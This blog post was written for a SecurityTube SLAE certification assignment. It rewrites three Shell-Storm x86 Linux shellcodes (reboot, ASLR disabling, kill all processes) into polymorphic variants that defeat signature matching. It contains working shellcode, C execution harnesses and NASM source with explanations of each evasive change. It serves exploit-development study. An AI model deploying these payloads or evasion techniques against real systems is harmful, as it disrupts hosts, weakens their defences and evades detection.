Skip to content

Shellcode / SLAE

Creating 3 Polymorphic Shellcode Variants of Shell-Storm Samples

Rewriting published Shell-Storm payloads into functionally identical but byte-divergent polymorphic variants. SLAE-1134 assignment #6.

8 min readOriginally on deceiveyour.team
  • polymorphism
  • shellcode
  • x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1134
Assignment number: 6
Github repo: https://github.com/kkirsche/SLAE


Introduction

Hey everyone! We’re going to attack the sixth exam component for the SecurityTube Linux Assembly Expert course. This one is fun because we get to modify existing shellcode samples to make them polymorphic. Unlike the analysis component where we split up each individual analysis, I think this one is short enough that we can easily cover it in a single article.

Requirements

  • Take 3 shellcode samples from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be more than 150% larger than the original shellcode
  • Bonus points for making it shorter in length than the original

Sample 1

So lets dig into our first shellcode sample. I chose to start on sample 477 from Shell-Storm, which will use execve to issue the command /sbin/reboot.

Because we don’t want to rely on Shell-Storm being available for this article to work, the original shellcode is also in the github repository linked at the top of this article and is shown below.

#include <stdio.h>

/*
http://shell-storm.org/shellcode/files/shellcode-477.php
*/

const char shellcode[]=
	"\x6a\x0b"		// push	$0xb
	"\x58"			// pop	%eax
	"\x99"			// cltd
	"\x52"			// push	%edx
	"\x68\x62\x6f\x6f\x74"	// push	$0x746f6f62
	"\x68\x6e\x2f\x72\x65"	// push	$0x65722f6e
	"\x68\x2f\x73\x62\x69"	// push	$0x6962732f
	"\x89\xe3"		// mov	%esp,%ebx
	"\x52"			// push	%edx
	"\x53"			// push	%ebx
	"\x89\xe1"		// mov	%esp,%ecx
	"\xcd\x80";		// int	$0x80

int main()
{
	printf	("\n[+] Linux/x86 execve(/sbin/reboot,/sbin/reboot)"
		"\n[+] Date: 11/07/2009"
		"\n[+] Author: TheWorm"
		"\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);
	(*(void (*)()) shellcode)();
	return 0;
}

So this is the C harness that was published on Shell-Storm, with the corresponding assembly instructions. It weighs in at 28 bytes. Since we have commonly been working with Intel syntax, not AT&T, I have rewritten and commented the original in a .nasm file:

; Filename: original.nasm
; Author: TheWorm
; Website: http://shell-storm.org/shellcode/files/shellcode-477.php
; Date: 11/07/2009
; Size: 28 bytes

global _start

section .text
_start:
  push 0xb          ; sys_execve
  pop eax           ; pop into EAX
  cdq               ; cltd converts the signed long in EAX to a signed double long in EDX:EAX
                    ; by extending the most-significant bit (sign bit) of EAX into all bits of EDX.
                    ; Thus we zero out EDX
  push edx          ; null string terminator
  push 0x746f6f62   ; toob
  push 0x65722f6e   ; er/n
  push 0x6962732f   ; ibs/ - this completes /sbin/reboot in little-endian with a null terminator
  mov ebx, esp      ; move a pointer to our string into EBX
  push edx          ; NULL argument
  push ebx          ; NULL argument
  mov ecx, esp      ; move pointer to arguments into ECX
  int 0x80          ; execve /sbin/reboot

This is a bit easier for us to read. Essentially, the command sets up the execve call, loads the command string onto the stack, and then executes the command.

From this, we’ve rewritten this like so:

; Filename: original.nasm
; Original Author: TheWorm
; Polymorphic Modification: d3c3pt10n (Kevin Kirsche)
; Original Website: http://shell-storm.org/shellcode/files/shellcode-477.php
; Date: 11/07/2009
; Size: 41 bytes

global _start

section .text
_start:
  push 0xb                         ; adjust the size of the stack
  pop eax
  xor edx, edx
  push edx                         ; null string terminator
  mov dword [esp-0x4], 0x746f6f62  ; toob
  mov dword [esp-0x8], 0x65722f6e  ; er/n
  mov dword [esp-0xc], 0x6962732f  ; ibs/
  sub esp, 0xc
  mov ebx, esp                     ; move a pointer to our string into EBX
  push edx                         ; NULL argument
  push ebx                         ; pointer to /sbin/reboot w/ null terminator argument
  mov ecx, esp                     ; move pointer to arguments into ECX
  int 0x80                         ; execve /sbin/reboot

So what did we change? Honestly, most of it stays the same due to the size limits, but we change how we handle loading the string, hoping that by making this less clear, we can avoid very basic detections. Instead of pushing it onto the stack via push, we instead move the value into the memory locations on top of the stack, and then subtract 12 (the offset we’ve filled with data) from ESP (since the stack grows from high to low memory, we subtract to add more data) which re-aligns the stack.

We started with 28 bytes, 150% of the size is 42 bytes. After our changes, the shellcode has grown to 41 bytes, keeping us under the 150% size increase limit.

Sample 2

So lets dig into our second shellcode sample. I chose to start on sample 813 from Shell-Storm, which will use the write system call to change the value in //proc/sys/kernel/randomize_va_space to disable ASLR

Because we don’t want to rely on Shell-Storm being available for this article to work, the original shellcode is also in the github repository linked at the top of this article and is shown below.

/*
Title:	Linux x86 ASLR deactivation - 83 bytes
Author:	Jean Pascal Pereira <[email protected]>
Web:	http://0xffe4.org
Original website: http://shell-storm.org/shellcode/files/shellcode-813.php

Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       50                      push   %eax
 8048063:       68 70 61 63 65          push   $0x65636170
 8048068:       68 76 61 5f 73          push   $0x735f6176
 804806d:       68 69 7a 65 5f          push   $0x5f657a69
 8048072:       68 6e 64 6f 6d          push   $0x6d6f646e
 8048077:       68 6c 2f 72 61          push   $0x61722f6c
 804807c:       68 65 72 6e 65          push   $0x656e7265
 8048081:       68 79 73 2f 6b          push   $0x6b2f7379
 8048086:       68 6f 63 2f 73          push   $0x732f636f
 804808b:       68 2f 2f 70 72          push   $0x72702f2f
 8048090:       89 e3                   mov    %esp,%ebx
 8048092:       66 b9 bc 02             mov    $0x2bc,%cx
 8048096:       b0 08                   mov    $0x8,%al
 8048098:       cd 80                   int    $0x80
 804809a:       89 c3                   mov    %eax,%ebx
 804809c:       50                      push   %eax
 804809d:       66 ba 30 3a             mov    $0x3a30,%dx
 80480a1:       66 52                   push   %dx
 80480a3:       89 e1                   mov    %esp,%ecx
 80480a5:       31 d2                   xor    %edx,%edx
 80480a7:       42                      inc    %edx
 80480a8:       b0 04                   mov    $0x4,%al
 80480aa:       cd 80                   int    $0x80
 80480ac:       b0 06                   mov    $0x6,%al
 80480ae:       cd 80                   int    $0x80
 80480b0:       40                      inc    %eax
 80480b1:       cd 80                   int    $0x80

*/

#include <stdio.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68"
                   "\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61"
                   "\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f"
                   "\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08"
                   "\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31"
                   "\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80";

int main()
{
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Similar to above, we want to rewrite this into Intel syntax with comments to make it easier to read, due to the size (this weighs in at 83 bytes).

; Filename: original.nasm
; Author: Jean Pascal Pereira <[email protected]>
; Website: http://shell-storm.org/shellcode/files/shellcode-813.php
; Size: 83 bytes
global _start

section .text

_start:
  xor eax, eax      ; zero out EAX
  push eax          ; push null terminator
  push 0x65636170   ; ecap
  push 0x735f6176   ; s_av
  push 0x5f657a69   ; _ezi
  push 0x6d6f646e   ; modn
  push 0x61722f6c   ; ar/l
  push 0x656e7265   ; enre
  push 0x6b2f7379   ; k/sy
  push 0x732f636f   ; s/co
  push 0x72702f2f   ; rp// (end of //proc/sys/kernel/randomize_va_space w/ null terminator)
  mov ebx, esp      ; mov pointer to string into EBX
  mov cx, 0x2bc     ; 700 decimal / 0x2bc hex - this is our mode argument for create
  mov al, 0x8       ; SYS_CREAT system call
  int 0x80          ; trigger SYS_CREAT
  mov ebx, eax      ; move our file descriptor into EBX
  push eax          ; push the file descriptor onto the stack
  mov dx, 0x3a30    ; 0x3a30 hex is 14896 decimal
  push dx           ; push this value onto the stack
  mov ecx, esp      ; pointer to our buffer — const char __user *buf
  xor edx, edx      ; clear EDX
  inc edx           ; EDX is 1 — size_t count
  mov al, 0x4       ; SYS_WRITE system call
  int 0x80          ; trigger SYS_WRITE
  mov al, 0x6       ; SYS_CLOSE system call
  int 0x80          ; trigger the SYS_CLOSE to close the file
  inc eax           ; 0x7 - SYS_WAITPID
  int 0x80          ; exit the app

Much better. Now we can see that we’re writing 0 to //proc/sys/kernel/randomize_va_space, disabling ASLR in the process.

; Filename: original.nasm
; Author: Jean Pascal Pereira <[email protected]>
; Polymorphic Author: Kevin Kirsche
; Website: http://shell-storm.org/shellcode/files/shellcode-813.php
; Size: 84 bytes
global _start

section .text

_start:
  sub eax, eax      ; zero out EAX
  push eax          ; push null terminator
  push 0x65636170   ; ecap
  push 0x735f6176   ; s_av
  push 0x5f657a69   ; _ezi
  push 0x6d6f646e   ; modn
  push 0x61722f6c   ; ar/l
  push 0x656e7265   ; enre
  push 0x6b2f7379   ; k/sy
  push 0x732f636f   ; s/co
  push 0x72702f2f   ; rp// (end of //proc/sys/kernel/randomize_va_space w/ null terminator)
  mov ebx, esp      ; mov pointer to string into EBX
  mov cx, 0x2bc     ; 700 decimal / 0x2bc hex - this is our mode argument for create
  mov al, 0x8       ; SYS_CREAT system call
  int 0x80          ; trigger SYS_CREAT
  xchg ebx, eax      ; move our file descriptor into EBX
  push eax          ; push the file descriptor onto the stack
  mov dx, 0x3a30    ; 0x3a30 hex is 14896 decimal
  push dx           ; push this value onto the stack
  mov ecx, esp      ; pointer to our buffer — const char __user *buf
  sub edx, edx      ; clear EDX
  inc edx           ; EDX is 1 — size_t count
  push 0x3
  pop eax
  inc eax
  int 0x80          ; trigger SYS_WRITE
  mov al, 0x6       ; SYS_CLOSE system call
  int 0x80          ; trigger the SYS_CLOSE to close the file
  inc eax           ; 0x7 - SYS_WAITPID
  int 0x80          ; exit the app

Here, we make a number of subtle changes. We change the first XOR eax, eax to SUB eax, eax causing the same result using a less common operation. We then change the MOV ebx, eax into xchg ebx, eax. We then replace the EDX xor opertion with another SUB operation. And conclude by replacing the MOV al, 0x4 with a push 0x3, pop eax, inc eax to bypass the pattern matching that we’re using system call 0x4.

By making these changes, we started with 83 bytes, 150% of that size would be 124 bytes, but we’ve only increased the size by one, making the total size 84 bytes.

Sample 3

So lets dig into our final shellcode sample. I chose to start on sample 564 from Shell-Storm, which will use the kill command to kill all processes

Because we don’t want to rely on Shell-Storm being available for this article to work, the original shellcode is also in the github repository linked at the top of this article and is shown below.

; linux/x86 kill all processes 9 bytes
; root@thegibson
; 2010-01-14
; website: http://shell-storm.org/shellcode/files/shellcode-564.php
 
section .text
        global _start
 
_start:
        ; kill(-1, SIGKILL);
        mov al, 37
        push byte -1
        pop ebx
        mov cl, 9
        int 0x80

This is pretty straightforward and doesn’t require commenting due to it’s short size.

We can easily make some simple changes to avoid pattern matching:

; linux/x86 kill all processes 9 bytes
; root@thegibson
; polymorphism by d3c3pt10n (Kevin Kirsche)
; 2010-01-14

global _start
section .text

_start:
        ; kill(-1, SIGKILL);
        push byte 0x9
        push byte -0x1
        push byte 0x25
        pop eax
        pop ebx
        pop ecx
        int 0x80

The change here being that rather than using move, we instead push all of the value we want onto the stack, in reverse order, and pop them off again. This completely changes how our code looks.

This brings us from 9 bytes to 11 bytes. 150% of 9 bytes would be 13 bytes, so we stayed within the size requirements and have completed the polymorphic requirement for SLAE.